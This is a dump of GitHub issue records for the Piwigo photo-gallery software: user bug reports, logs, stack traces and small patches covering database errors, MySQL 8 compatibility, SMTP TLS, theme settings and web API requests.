"Piwigo"
] |
Enabling the filter function "Display only recently posted photos" and then selecting "Display all photos in all sub-albums", will display all photos with no filter applied.
Selecting one of the photos which should have been filtered out, result in the following error:
Warning: [mysql error 1064] You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ')' at line 3
SELECT id, name, permalink
FROM piwigo_categories
WHERE id IN () in /-SNIP-/httpd.www/photoalbum2/include/dblayer/functions_mysqli.inc.php on line 856
Fatal error: Uncaught Error: Call to a member function fetch_assoc() on boolean in /-SNIP-/httpd.www/photoalbum2/include/dblayer/functions_mysqli.inc.php:909 Stack trace: #0 /-SNIP-/httpd.www/photoalbum2/include/functions.inc.php(1517): query2array('\nSELECT id, nam...', 'id') #1 /-SNIP-/httpd.www/photoalbum2/picture.php(965): hash_from_query('\nSELECT id, nam...', 'id') #2 {main}thrown in /-SNIP-/httpd.www/photoalbum2/include/dblayer/functions_mysqli.inc.php on line 909
|
Display only recent photos + Display all photos = MySQL Error
|
https://api.github.com/repos/Piwigo/Piwigo/issues/1126/comments
| 0 |
2019-11-29T15:41:01Z
|
2019-11-29T15:41:01Z
|
https://github.com/Piwigo/Piwigo/issues/1126
| 530,404,618 | 1,126 |
[
"Piwigo",
"Piwigo"
] |
Since I am unable to add users through the interface (see #1123), I used the ws to add/manipulate users.
Here, I am getting a warning while adding users.
|
Adding users through ws results in a warning
|
https://api.github.com/repos/Piwigo/Piwigo/issues/1125/comments
| 0 |
2019-11-26T04:53:37Z
|
2019-11-26T04:53:37Z
|
https://github.com/Piwigo/Piwigo/issues/1125
| 528,486,915 | 1,125 |
[
"Piwigo",
"Piwigo"
] |
I'm having trouble running quick synchronization for my local collection of photos:
```
[Mon Nov 25 21:16:28.037193 2019] [php7:warn] [pid 519] [client 192.168.0.170:53875] PHP Warning: Error while sending QUERY packet. PID=519 in /var/www/include/dblayer/functions_mysqli.inc.php on line 141, referer: http://192.168.0.1:1000/admin.php
[Mon Nov 25 21:16:28.037296 2019] [php7:warn] [pid 519] [client 192.168.0.170:53875] PHP Warning: [mysql error 2006] MySQL server has gone away\nSHOW FULL COLUMNS FROM `piwigo_images` in /var/www/include/dblayer/functions_mysqli.inc.php on line 856, referer: http://192.168.0.1:1000/admin.php
[Mon Nov 25 21:16:28.037362 2019] [php7:error] [pid 519] [client 192.168.0.170:53875] PHP Fatal error: Uncaught Error: Call to a member function fetch_assoc() on bool in /var/www/include/dblayer/functions_mysqli.inc.php:220\nStack trace:\n#0 /var/www/include/dblayer/functions_mysqli.inc.php(355): pwg_db_fetch_assoc(false)\n#1 /var/www/admin/site_update.php(909): mass_updates('piwigo_images', Array, Array, 1)\n#2 /var/www/admin.php(309): include('/var/www/admin/...')\n#3 {main}\n thrown in /var/www/include/dblayer/functions_mysqli.inc.php on line 220, referer: http://192.168.0.1:1000/admin.php
[Mon Nov 25 21:16:28.037465 2019] [php7:warn] [pid 519] [client 192.168.0.170:53875] PHP Warning: [mysql error 2006] MySQL server has gone away\n\nREPLACE INTO piwigo_sessions\n (id,data,expiration)\n VALUES('C0A8bmu4nacd2dthtgm13t76ip69sa','pwg_device|s:7:\\"desktop\\";pwg_mobile_theme|b:0;pwg_uid|i:1;pwg_referer_image_id|s:6:\\"148600\\";need_update2.10.1|b:0;extensions_need_update|a:0:{}incompatible_plugins|a:1:{s:10:\\"~~expire~~\\";i:1574710904;}bulk_manager_filter|a:1:{s:9:\\"prefilter\\";s:14:\\"no_sync_md5sum\\";}',now())\n; in /var/www/include/dblayer/functions_mysqli.inc.php on line 856, referer: http://192.168.0.1:1000/admin.php
```
This happens in Debian Buster (I also replicated it on Stretch, but don't have the exact versions of packages here) running Piwigo 2.10.1 on apache2 2.4.38-3+deb10u3, PHP 7.3 7.3.9-1\~deb10u1 and MariaDB 10.4.10-MariaDB-1:10.4.10+maria\~bionic (it's running in separate container, built by MariaDB corp). The setup is generated from the Dockerfile in [this repository](https://github.com/mathieuruellan/docker-piwigo).
The database currently has 89656 images. I did read the code a bit and it seems that it's probably not caused by the queries in this log, but perhaps the previous ones timing out? It does take some minutes for this to appear (I'll clock it the next time). I've tried tuning MariaDB wait_timeout, but that hasn't fixed the issue. Manually syncing smaller bits of the collection works okay though.
Let me know if there's more info I could supply you with, besides the missing time.
|
Quick sync ends in database server going away
|
https://api.github.com/repos/Piwigo/Piwigo/issues/1124/comments
| 2 |
2019-11-25T21:43:22Z
|
2019-11-29T21:26:45Z
|
https://github.com/Piwigo/Piwigo/issues/1124
| 528,353,921 | 1,124 |
[
"Piwigo",
"Piwigo"
] |
Unable to view/add users.
Please see attached.
I am using latest version.
|
Error with datatable in users screen
|
https://api.github.com/repos/Piwigo/Piwigo/issues/1123/comments
| 2 |
2019-11-24T08:50:57Z
|
2019-11-28T04:35:37Z
|
https://github.com/Piwigo/Piwigo/issues/1123
| 527,667,898 | 1,123 |
[
"Piwigo",
"Piwigo"
] |
in file: themes/default/theme.css line 280
`.thumbnails LI { display: inline }`
Missing closing semicolon.
|
Typo in default/theme.css
|
https://api.github.com/repos/Piwigo/Piwigo/issues/1122/comments
| 2 |
2019-11-17T14:50:05Z
|
2019-12-15T01:32:19Z
|
https://github.com/Piwigo/Piwigo/issues/1122
| 523,996,273 | 1,122 |
[
"Piwigo",
"Piwigo"
] |
Setting
```
$themeconf = array(
'parent' => 'default',
'load_parent_css' => 'false',
-SNIP-
```
in themeconf.inc.php, does still load/combine /default/theme.css file.
I hope that I understand the use of 'load_parent_css' correctly. And that I have used it correctly.
/Djelle
|
'load_parent_css' => 'false' still loads the deafult CSS.
|
https://api.github.com/repos/Piwigo/Piwigo/issues/1121/comments
| 1 |
2019-11-16T15:23:28Z
|
2023-01-21T19:41:54Z
|
https://github.com/Piwigo/Piwigo/issues/1121
| 523,857,825 | 1,121 |
[
"Piwigo",
"Piwigo"
] |
If the directory of a theme is named with non-capitalized letters (e.g. "mytheme", and "Theme Name" is set to a name with different capitalizing (e.g. "MyTheme") in themeconf.inc.php, the theme can not be set as a personal theme for a user (in Customize). The theme can still be set as a default theme though.
I have not tried to make the two names totally different. Though I assume the result will be the same.
Easy workaround is of course to keep these two names the same. But as far as I know, it is good habit to keep directory names with non-capitalized letter. Though you most often want the theme name capitalized.
Also, many existing themes on piwigo.org is suffering under this issue.
/Djelle
|
Directory name of theme coursing issues if not the same as "Theme Name"
|
https://api.github.com/repos/Piwigo/Piwigo/issues/1120/comments
| 0 |
2019-11-16T15:10:54Z
|
2022-03-29T14:27:49Z
|
https://github.com/Piwigo/Piwigo/issues/1120
| 523,856,344 | 1,120 |
[
"Piwigo",
"Piwigo"
] |
The `no_photo_yet` page has a lower priority compared to `password` (to reset your missing password). It should be the opposite.
|
Password reset page not reachable when no photo added yet
|
https://api.github.com/repos/Piwigo/Piwigo/issues/1119/comments
| 0 |
2019-11-12T10:18:44Z
|
2020-03-25T14:33:17Z
|
https://github.com/Piwigo/Piwigo/issues/1119
| 521,456,638 | 1,119 |
[
"Piwigo",
"Piwigo"
] |
I've run into a problem with quick search after upgrading to MySQL 8 (and PHP 7.3) as part of the Ubuntu 19.10 release. When searching for "short" (less than 5 chars?) terms, it errors out:
```Warning: mysqli::query(): (HY000/3685): Illegal argument to a regular expression. in /usr/local/piwigo/include/dblayer/functions_mysqli.inc.php on line 141
Warning: [mysql error 3685] Illegal argument to a regular expression.
SELECT * FROM tags
WHERE (name REGEXP '[[:<:]]amy[[:>:]]'
OR MATCH(name) AGAINST( 'amies' IN BOOLEAN MODE)) in /usr/local/piwigo/include/dblayer/functions_mysqli.inc.php on line 856
Fatal error: Uncaught Error: Call to a member function fetch_assoc() on boolean in /usr/local/piwigo/include/dblayer/functions_mysqli.inc.php:220
Stack trace: #0 /usr/local/piwigo/include/functions_search.inc.php(1051): pwg_db_fetch_assoc(false)
#1 /usr/local/piwigo/include/functions_search.inc.php(1383): qsearch_get_tags(Object(QExpression), Object(QResults))
#2 /usr/local/piwigo/include/functions_search.inc.php(1301): get_quick_search_results_no_cache('amy jeremy terr...', Array)
#3 /usr/local/piwigo/include/functions_search.inc.php(1474): get_quick_search_results('amy jeremy terr...', Array)
#4 /usr/local/piwigo/include/section_init.inc.php(350): get_search_results('1079', NULL)
#5 /usr/local/piwigo/index.php(12): include('/usr/local/piwi...')
#6 {main} thrown in /usr/local/piwigo/include/dblayer/functions_mysqli.inc.php on line 220
```
From what I can tell, it's something to do with the REGEXP prefix/suffix being generated in functions_search.inc.php (starting on line 934) which is used when a search term is too short:
``` if (!$use_ft)
{// odd term or too short for full text search; fallback to regex but unfortunately this is diacritic/accent sensitive
$pre = ($token->modifier & QST_WILDCARD_BEGIN) ? '' : '[[:<:]]';
$post = ($token->modifier & QST_WILDCARD_END) ? '' : '[[:>:]]';
foreach( $fields as $field)
$clauses[] = $field.' REGEXP \''.$pre.addslashes(preg_quote($variant)).$post.'\'';
}
```
Per erAck here (https://piwigo.org/forum/viewtopic.php?id=29779), it's due to a change in the regular expression library in MySQL 8.0.4:
https://dev.mysql.com/doc/refman/8.0/en/regexp.html#regexp-compatibility
"Prior to MySQL 8.0.4, MySQL used the Henry Spencer regular expression library to support regular expression operations, rather than International Components for Unicode (ICU)."
The [[:<:]] and [[:>:]] word boundary markers are only supported by the Spencer library, for ICU it would be \b instead.
I used his suggested patch:
```
$pre = ($token->modifier & QST_WILDCARD_BEGIN) ? '' : '\\\\b';
$post = ($token->modifier & QST_WILDCARD_END) ? '' : '\\\\b';
```
And that resolved the issue.
Piwigo 2.10.1
Operating system: Linux
PHP: 7.3.11-0ubuntu0.19.10.1
MySQL: 8.0.17-0ubuntu2
Graphics Library: External ImageMagick 6.9.10-23
|
Quick search error (MySQL 8 and REGEXP)
|
https://api.github.com/repos/Piwigo/Piwigo/issues/1118/comments
| 2 |
2019-11-11T00:36:43Z
|
2021-03-20T18:07:37Z
|
https://github.com/Piwigo/Piwigo/issues/1118
| 520,684,305 | 1,118 |
[
"Piwigo",
"Piwigo"
] |
After upgrade from Piwigo 2.9 to 2.10.1 I noticed that list of Related keywords is showing _all_ keywords (in my case sometimes a very long list). In the past this included top keywords only. Strangely some albums still show the old format.
Example of new (IMO wrong) format: https://tomassobekphotography.co.nz/photos/
Example of old format (as of 6 Nov 2019 at least): https://tomassobekphotography.co.nz/photos/index.php?/category/189
Piwigo 2.10.1
Operating system: Linux
PHP: 7.1.32 (Show info) [2019-11-06 07:19:26]
MySQL: 5.7.28-cll-lve [2019-11-06 20:19:26]
Graphics Library: External ImageMagick 6.7.8-9
|
List of "Related keywords" changed in Elegant theme
|
https://api.github.com/repos/Piwigo/Piwigo/issues/1116/comments
| 4 |
2019-11-06T07:21:14Z
|
2019-11-29T05:10:53Z
|
https://github.com/Piwigo/Piwigo/issues/1116
| 518,288,263 | 1,116 |
[
"Piwigo",
"Piwigo"
] |
Man, thanks for the work on the update. However, I would like to express how annoying it is to lose a complete installation. I would appreciate a bit of more warning in such "YOU MUST UPDATE OR WE ARE GOING TO DIE" emails.
Finally, you tell me AFTER the update that you killed 90% of the plugins, probably due incompatibility. Man, I would have liked it to decide on my own if I want to update now where most of the plugins do not work anymore.
Writing software means not only writing cool code and nifty features, it means as well thinking about the responsibility.
Best Regards
Peter
|
Thanks for killing it completely
|
https://api.github.com/repos/Piwigo/Piwigo/issues/1115/comments
| 8 |
2019-11-05T14:20:23Z
|
2020-04-08T08:39:06Z
|
https://github.com/Piwigo/Piwigo/issues/1115
| 517,802,269 | 1,115 |
[
"Piwigo",
"Piwigo"
] |
In the admin, the tab applications (in upload photos) is missing the link to the new app in the playstore (there is the link for ios but not android)
|
Admin, upload photos applications tab
|
https://api.github.com/repos/Piwigo/Piwigo/issues/1114/comments
| 1 |
2019-11-05T13:10:18Z
|
2020-03-25T14:33:40Z
|
https://github.com/Piwigo/Piwigo/issues/1114
| 517,763,192 | 1,114 |
[
"Piwigo",
"Piwigo"
] |
In the admin even though the ratings are disabled, the acces to the ratings page in the sidebar is still accessible. This page should be hidden when the ratings aren't enabled
|
Admin, Ratings disabled but rating page still accessible
|
https://api.github.com/repos/Piwigo/Piwigo/issues/1113/comments
| 0 |
2019-11-05T12:53:24Z
|
2019-11-05T12:56:26Z
|
https://github.com/Piwigo/Piwigo/issues/1113
| 517,754,808 | 1,113 |
[
"Piwigo",
"Piwigo"
] |
In the admin, the header moves to two lines when the width of the window is made smaller. The part with the username/darkmode/Help me/logout moves undeneath and on to a white background (instead of its dark grey background) . This is even more prominent when the gallery name/ Username is very long.
|
Admin Header, two lines on smaller screens
|
https://api.github.com/repos/Piwigo/Piwigo/issues/1112/comments
| 0 |
2019-11-05T09:57:56Z
|
2019-11-26T15:34:37Z
|
https://github.com/Piwigo/Piwigo/issues/1112
| 517,666,679 | 1,112 |
[
"Piwigo",
"Piwigo"
] |
If you go to Batch Manager and add a Tag filter but then don't enter any tags, it generates a number of notices, especially in PHP 7.2+
Fix:
```diff
diff --git a/admin/batch_manager.php b/admin/batch_manager.php
index e6c14b63c..86733db38 100644
--- a/admin/batch_manager.php
+++ b/admin/batch_manager.php
@@ -137,7 +137,8 @@ if (isset($_POST['submitFilter']))
if (isset($_POST['filter_tags_use']))
{
- $_SESSION['bulk_manager_filter']['tags'] = get_tag_ids($_POST['filter_tags'], false);
+ if (empty($_POST['filter_tags'])) $_SESSION['bulk_manager_filter']['tags'] = [];
+ else $_SESSION['bulk_manager_filter']['tags'] = get_tag_ids($_POST['filter_tags'], false);
if (isset($_POST['tag_mode']) and in_array($_POST['tag_mode'], array('AND', 'OR')))
{
diff --git a/admin/batch_manager_global.php b/admin/batch_manager_global.php
index 7c3078a82..abb0967ae 100644
--- a/admin/batch_manager_global.php
+++ b/admin/batch_manager_global.php
@@ -557,7 +557,7 @@ $template->assign('filter_category_selected', $selected_category);
// categories can't be broken.
$associated_categories = array();
-if (count($page['cat_elements_id']) > 0)
+if (!empty($page['cat_elements_id']))
{
$query = '
SELECT
@@ -576,7 +576,7 @@ SELECT
$template->assign('associated_categories', $associated_categories);
-if (count($page['cat_elements_id']) > 0)
+if (!empty($page['cat_elements_id']))
{
// remove tags
$template->assign('associated_tags', get_common_tags($page['cat_elements_id'], -1));
@@ -648,7 +648,7 @@ else
$nb_thumbs_page = 0;
-if (count($page['cat_elements_id']) > 0)
+if (!empty($page['cat_elements_id']))
{
$nav_bar = create_navigation_bar(
$base_url.get_query_string_diff(array('start')),
@@ -739,7 +739,7 @@ SELECT id,path,representative_ext,file,filesize,level,name,width,height,rotation
$template->assign(array(
'nb_thumbs_page' => $nb_thumbs_page,
- 'nb_thumbs_set' => count($page['cat_elements_id']),
+ 'nb_thumbs_set' => empty($page['cat_elements_id']) ? 0 : count($page['cat_elements_id']),
'CACHE_KEYS' => get_admin_client_cache_keys(array('tags', 'categories')),
));
```
|
empty tag list in batch manager causes notices
|
https://api.github.com/repos/Piwigo/Piwigo/issues/1111/comments
| 0 |
2019-11-03T20:24:16Z
|
2019-11-03T20:24:16Z
|
https://github.com/Piwigo/Piwigo/issues/1111
| 516,883,455 | 1,111 |
[
"Piwigo",
"Piwigo"
] |
Hello,
Fresh install of Piwigo (Docker Image)
```
Piwigo 2.10.1 Check for upgrade
Operating system: Linux
PHP: 7.3.10 (Show info) [2019-10-27 16:38:52]
MySQL: 5.7.25 [2019-10-27 20:38:52]
Graphics Library: ImageMagick 7.0.8-58
```
I entered SMTP configuration as follows by updating config file using Local File Editor
```
$conf['send_bcc_mail_webmaster'] = false;
// define the name of sender mail: if value is empty, gallery title is used
$conf['mail_sender_name'] = 'Jarvis';
// define the email of sender mail: if value is empty, webmaster email is used
$conf['mail_sender_email'] = '[email protected]';
// set true to allow text/html emails
$conf['mail_allow_html'] = true;
// smtp configuration (work if fsockopen function is allowed for smtp port)
// smtp_host: smtp server host
// if null, regular mail function is used
// format: hoststring[:port]
// exemple: smtp.pwg.net:21
// smtp_user/smtp_password: user & password for smtp authentication
$conf['smtp_host'] = 'smtp';
$conf['smtp_user'] = '';
$conf['smtp_password'] = '';
// 'ssl' or 'tls'
$conf['smtp_secure'] = null;
```
SMTP host is valid and has default port 25. No authentication.
This wouldn't trigger any email and I would see the following warning in the GUI
```
Warning: stream_socket_enable_crypto(): SSL operation failed with code 1. OpenSSL Error messages: error:1416F086:SSL routines:tls_process_server_certificate:certificate verify failed in /config/www/gallery/include/phpmailer/class.smtp.php on line 368
Warning: Mailer Error: SMTP connect() failed. https://github.com/PHPMailer/PHPMailer/wiki/Troubleshooting in /config/www/gallery/include/functions_mail.inc.php on line 910
```
Looking at the SMTP server logs, found that Piwigo was somehow using TLS even though I had not specified any TLS connection.
```
Oct 27 19:46:20 e640d02315cb postfix/smtpd[485]: connect from piwigo.jarvis_default[172.18.0.10]
Oct 27 19:46:20 e640d02315cb postfix/smtpd[485]: SSL_accept error from piwigo.jarvis_default[172.18.0.10]: -1
Oct 27 19:46:20 e640d02315cb postfix/smtpd[485]: warning: TLS library problem: error:14094418:SSL routines:ssl3_read_bytes:tlsv1 alert unknown ca:../ssl/record/rec_layer_s3.c:1407:SSL alert number 48:
Oct 27 19:46:20 e640d02315cb postfix/smtpd[485]: lost connection after STARTTLS from piwigo.jarvis_default[172.18.0.10]
Oct 27 19:46:20 e640d02315cb postfix/smtpd[485]: disconnect from piwigo.jarvis_default[172.18.0.10] ehlo=1 starttls=0/1 commands=1/2
```
Further debugging shows that $mail->SMTPAutoTLS is true by default. Setting $mail->SMTPAutoTLS=false in functions_mail.inc.php fixes the issue and email is received.
|
AutoTLS is causing issues with SMTP
|
https://api.github.com/repos/Piwigo/Piwigo/issues/1110/comments
| 0 |
2019-10-27T20:45:23Z
|
2019-10-27T20:45:45Z
|
https://github.com/Piwigo/Piwigo/issues/1110
| 513,019,624 | 1,110 |
[
"Piwigo",
"Piwigo"
] |
When previewing images of an album, one after the other, the iOS app suggests a list of actions to copy, move, delete, edit, etc. the current image. To propose to **add** or **remove** that image from the favorites, the app needs to know whether the current image is in the list of favorites.
The method `pwg.users.favorites.getList` is very useful to present the complete list of favorites but too heavy to determine if a single image is in the list of favorites. A method like `pwg.users.favorites.getInfo` with `imageId` as parameter would be highly preferable.
|
[web API] for determining if a single image is a favorite
|
https://api.github.com/repos/Piwigo/Piwigo/issues/1109/comments
| 4 |
2019-10-26T10:55:02Z
|
2021-12-22T19:43:57Z
|
https://github.com/Piwigo/Piwigo/issues/1109
| 512,821,775 | 1,109 |
[
"Piwigo",
"Piwigo"
] |
Could you please return md5sum with this API? This is currently the only thing that I additionally need. By getting this with this API, I will save multiple pwg.images.getInfo calls.
[https://github.com/Piwigo/Piwigo/blob/master/include/ws_functions/pwg.categories.php](url) line 103 needs an additional item 'md5sum'.
Thanks,
Sridhar
|
Add md5sum in pwg.categories.getImages
|
https://api.github.com/repos/Piwigo/Piwigo/issues/1108/comments
| 0 |
2019-10-26T07:00:46Z
|
2019-10-26T07:00:46Z
|
https://github.com/Piwigo/Piwigo/issues/1108
| 512,800,576 | 1,108 |
[
"Piwigo",
"Piwigo"
] |
If I query the webservice with format=json, I expect the response to be in application/json. It is in text/plain. Could it be corrected?
Latest piwigo, php 5.6.40.
|
Response in text/plain instead of application/json
|
https://api.github.com/repos/Piwigo/Piwigo/issues/1107/comments
| 3 |
2019-10-25T05:25:29Z
|
2019-10-29T18:32:18Z
|
https://github.com/Piwigo/Piwigo/issues/1107
| 512,309,831 | 1,107 |
[
"Piwigo",
"Piwigo"
] |
Hi guys,
I'm trying to update an album by adding 218 photos + 1 video but when the upload is finish, the basket only see 112.
after upload, if i'm searching a "missing" one on the search engine or directly on the album and the photos are here.
after an upload I tag people, generate thumbnails etc so to do that I need now to filter "without tag" on the album "XXXX" and now I've got my 219 elements. if I select the 219 element and click to "add to basket" the basket is still blocked at 112 since I refresh the page
so there is a basket problem after uploading more than 112 elements.
thanks
Piwigo 2.10.1
Système d'exploitation: Linux
PHP: 7.2.9-1+0~20180901081133.4+stretch~1.gbpdaac35
MySQL: 5.5.61
Bibliothèque graphique: External ImageMagick 6.9.7-4
|
web UI upload, basket blocked at 112 elements
|
https://api.github.com/repos/Piwigo/Piwigo/issues/1106/comments
| 0 |
2019-10-21T15:12:35Z
|
2019-10-21T15:13:09Z
|
https://github.com/Piwigo/Piwigo/issues/1106
| 510,036,271 | 1,106 |
[
"Piwigo",
"Piwigo"
] |
in ws_images_addSimple the $_FILES['image']['error'] is nicely interpreted and converted into a useful message. In ws_images_upload I request to have something similar. Maybe
```
if (isset($_FILES['file']['error']) && $_FILES['file']['error'] != 0)
{
switch($_FILES['file']['error'])
{
case UPLOAD_ERR_INI_SIZE:
$message = 'The uploaded file exceeds the upload_max_filesize directive in php.ini.';
break;
case UPLOAD_ERR_FORM_SIZE:
$message = 'The uploaded file exceeds the MAX_FILE_SIZE directive that was specified in the HTML form.';
break;
case UPLOAD_ERR_PARTIAL:
$message = 'The uploaded file was only partially uploaded.';
break;
case UPLOAD_ERR_NO_FILE:
$message = 'No file was uploaded.';
break;
case UPLOAD_ERR_NO_TMP_DIR:
$message = 'Missing a temporary folder.';
break;
case UPLOAD_ERR_CANT_WRITE:
$message = 'Failed to write file to disk.';
break;
case UPLOAD_ERR_EXTENSION:
$message = 'A PHP extension stopped the file upload. ' .
'PHP does not provide a way to ascertain which extension caused the file ' .
'upload to stop; examining the list of loaded extensions with phpinfo() may help.';
break;
default:
$message = "Error number {$_FILES['file']['error']} occurred while uploading a file.";
}
die('{"jsonrpc" : "2.0", "error" : {"code": 104, "message": "' . $message . '"}, "id" : "id"}');
}
```
to have a helpful output in the JSON WS interface.
|
output details on failure of pwg.images.php: ws_images_upload
|
https://api.github.com/repos/Piwigo/Piwigo/issues/1105/comments
| 0 |
2019-10-19T21:12:47Z
|
2019-10-19T21:46:25Z
|
https://github.com/Piwigo/Piwigo/issues/1105
| 509,510,414 | 1,105 |
[
"Piwigo",
"Piwigo"
] |
A new feature was introduced with #759
It works fine BUT it shows "all" tags. If the gallery has 1 million tags, it shows them all! We need to limit, according to `$conf['menubar_tag_cloud_items_number']`
|
limit number of tags in menu
|
https://api.github.com/repos/Piwigo/Piwigo/issues/1102/comments
| 0 |
2019-10-15T13:59:10Z
|
2020-03-25T14:34:04Z
|
https://github.com/Piwigo/Piwigo/issues/1102
| 507,264,489 | 1,102 |
[
"Piwigo",
"Piwigo"
] |
When I say add picture I can choose the picture in the web form. After that I say "start upload". Then I see the progress bar in progress and when the upload is done I see the progress bar and a abort button. Pressing the abort button does nothing so I only can leave the web form.
When I check the album where I upload the file I can see the picture.
This first happens after I updated Piwigo from Piwigo 2.9 to 2.10. Also with the version 2.10.1 the same.
|
Problems with upload web ui
|
https://api.github.com/repos/Piwigo/Piwigo/issues/1101/comments
| 1 |
2019-10-15T11:45:52Z
|
2019-10-17T20:07:39Z
|
https://github.com/Piwigo/Piwigo/issues/1101
| 507,190,869 | 1,101 |
[
"Piwigo",
"Piwigo"
] |
Edit: Checksums are not being generated at all now. I added a few hundred photos and none of them have checksums. I get the alert that there are missing checksums, and it reports over 3000 photos are missing checksums. When I click the comupute checksums link it sits at 0% then eventually errors out as described previously below.
Original Issue:
Not sure if this was designed on purpose or not, but this error message came up after I generated checksums for all photos in my gallery following an upgrade to version 12.10 (see below). Looks like its just showing whatever the http code is, but it still calls it an error even though its a 200 code to confirmed everything went fine. For clarity, this was on the Batch Manager page in the Administration console
|
Error message when generating Checksums
|
https://api.github.com/repos/Piwigo/Piwigo/issues/1100/comments
| 2 |
2019-10-15T01:57:02Z
|
2020-03-04T05:27:16Z
|
https://github.com/Piwigo/Piwigo/issues/1100
| 506,957,843 | 1,100 |
[
"Piwigo",
"Piwigo"
] |
... is a message you often get in the Firefox console for the batch manager page.
|
[batch manager] TypeError: associated_categories is null
|
https://api.github.com/repos/Piwigo/Piwigo/issues/1099/comments
| 0 |
2019-10-14T10:25:45Z
|
2019-10-14T14:03:43Z
|
https://github.com/Piwigo/Piwigo/issues/1099
| 506,567,345 | 1,099 |
[
"Piwigo",
"Piwigo"
] |
The default block size set to 1000 is actually quite high if you have big photos and small processing power.
- reduce block size to 50
- make it configurable
|
[batch manager] checksum computation, reduce block size
|
https://api.github.com/repos/Piwigo/Piwigo/issues/1098/comments
| 0 |
2019-10-14T09:59:41Z
|
2019-10-14T14:03:55Z
|
https://github.com/Piwigo/Piwigo/issues/1098
| 506,554,910 | 1,098 |
[
"Piwigo",
"Piwigo"
] |
The first call to pwg.images.setMd5sum has a computed block size based on the number of missing checksums. Next call uses the default block size (which is 1000 in Piwigo 2.10.0)
|
[batch manager] checksum computation blocksize should stay the same
|
https://api.github.com/repos/Piwigo/Piwigo/issues/1097/comments
| 0 |
2019-10-14T09:33:36Z
|
2019-10-14T14:04:07Z
|
https://github.com/Piwigo/Piwigo/issues/1097
| 506,542,117 | 1,097 |
[
"Piwigo",
"Piwigo"
] |
Hello,
I'm currently running into an issue where users will get redirected to an empty page with "error 403" written on it after placing a comment.
I'm not sure where the issue came from, it suddenly started doing this.
Admins can still write a comment with out a problem.
Browser console, server logs of nginx, php-fpm, application side logs, domain log,.. don't mention anything about it so I'm kinda stuck.
Piwigo 2.9.3
Operating system: Linux
PHP: 7.2.16 (Show info) [2019-10-13 14:07:08]
MySQL: 5.5.60-MariaDB [2019-10-13 08:07:08]
Graphics Library: ImageMagick 6.9.10-34
NGINX
|
Users get error when commenting
|
https://api.github.com/repos/Piwigo/Piwigo/issues/1096/comments
| 5 |
2019-10-13T12:07:27Z
|
2019-10-27T09:59:34Z
|
https://github.com/Piwigo/Piwigo/issues/1096
| 506,316,467 | 1,096 |
[
"Piwigo",
"Piwigo"
] |
When accessing User config page in admin i get a sql error
I tried to create a user, then looked at XHR request, it dumps a SQL statement, this is a issue also because it reveals SQL structure. Debug options should be hidden in production.
SELECT
user_id,
GROUP_CONCAT(name ORDER BY name SEPARATOR ", ") AS groups
FROM piwigo_user_group
JOIN `piwigo_groups` ON id = group_id
WHERE user_id IN (1,2,3)
GROUP BY user_id
```AS groups``` => groups is a reserved keyword in mysql 8 query fails
https://dev.mysql.com/doc/refman/8.0/en/keywords.html#keywords-8-0-detailed-G
GROUPS (R); added in 8.0.2 (reserved)
EDIT: updated the SQL query forgot to correct as it is in piwigo files (group => groups)
|
mysql 8 groups is a reserved keyword
|
https://api.github.com/repos/Piwigo/Piwigo/issues/1095/comments
| 10 |
2019-10-13T10:51:28Z
|
2020-03-25T14:34:19Z
|
https://github.com/Piwigo/Piwigo/issues/1095
| 506,307,090 | 1,095 |
[
"Piwigo",
"Piwigo"
] |
**XSS exists in the /Piwigo/admin.php?page=cat_list**
|
XSS in Piwigo 2.10.0
|
https://api.github.com/repos/Piwigo/Piwigo/issues/1094/comments
| 0 |
2019-10-13T10:30:15Z
|
2019-10-13T10:30:15Z
|
https://github.com/Piwigo/Piwigo/issues/1094
| 506,304,271 | 1,094 |
[
"Piwigo",
"Piwigo"
] |
On MacOS + Safari, when trying to compute missing md5sum, I get this error:
> Error: Syntax error, unrecognized expression: input[name=pwg_token
|
Error: Syntax error, unrecognized expression: input[name=pwg_token
|
https://api.github.com/repos/Piwigo/Piwigo/issues/1092/comments
| 0 |
2019-10-11T14:08:50Z
|
2019-10-14T14:02:42Z
|
https://github.com/Piwigo/Piwigo/issues/1092
| 505,875,872 | 1,092 |
[
"Piwigo",
"Piwigo"
] |
Problem 1: I have a tag like "Lens: Canon EF 24-70 f2.8L II USM". This is split into two tags in the database: Lens: Canon EF 24-70 f2 and 8L II USM.
Problem 2: I have tags like "Aperture: Low". This only displays "Low" in the photo page. Whereas the database contains "Aperture: Low".
I am using v2.10.0.
Thanks,
Sridhar
|
Tags not working well with . and : (resolved), but ' is still a problem
|
https://api.github.com/repos/Piwigo/Piwigo/issues/1091/comments
| 3 |
2019-10-11T08:42:14Z
|
2019-12-30T02:49:05Z
|
https://github.com/Piwigo/Piwigo/issues/1091
| 505,718,850 | 1,091 |
[
"Piwigo",
"Piwigo"
] |
Several user reports (on Piwigo forums) clearly show the missing checksums warning on Piwigo admin dashboard is scary. It should not be. It's not that important. They have lived for years with missing checksums.
I propose 2 actions:
1. change warning into info
2. move the message on the sync page, instead of dashboard
|
missing checksums warning on dashboard might scare users
|
https://api.github.com/repos/Piwigo/Piwigo/issues/1090/comments
| 0 |
2019-10-10T09:53:13Z
|
2019-10-14T14:04:52Z
|
https://github.com/Piwigo/Piwigo/issues/1090
| 505,161,841 | 1,090 |
[
"Piwigo",
"Piwigo"
] |
With Piwigo 2.10 and PHP 7.3 (Debian Buster, 7.3.9-1~deb10u1), Piwigo JShrink triggers a deprecation notice that ends up mixed with the javascript file:
```
<b>Deprecated</b>: strpos(): Non-string needles will be interpreted as strings in the future. Use an explicit chr() call to preserve the current behavior in <b>/var/www/include/jshrink.class.php</b> on line <b>195</b><br />;
```
This is obviously not corrrect Javascript, so the script fails to load in browser, triggering this error in firefox: `SyntaxError: expected expression, got '<'`
I think latest JShrink versions fix this.
edit: markdown syntax
|
Jshrink uses deprecated function, breaks javascript
|
https://api.github.com/repos/Piwigo/Piwigo/issues/1089/comments
| 9 |
2019-10-10T07:18:59Z
|
2019-10-14T14:03:29Z
|
https://github.com/Piwigo/Piwigo/issues/1089
| 505,084,513 | 1,089 |
[
"Piwigo",
"Piwigo"
] |
piwigo sersion 2.9.5
just got email notification to update to 2.10.0
click on database backup :
Fatal error: Uncaught Error: Call to undefined function mysql_select_db() in admin/include/mysqldump.php:75
https://www.php.net/manual/fr/function.mysql-select-db.php : this function has been removed since PHP 7.0.0 !
|
database backup fail with PHP7
|
https://api.github.com/repos/Piwigo/Piwigo/issues/1088/comments
| 0 |
2019-10-10T07:12:57Z
|
2019-10-10T07:12:57Z
|
https://github.com/Piwigo/Piwigo/issues/1088
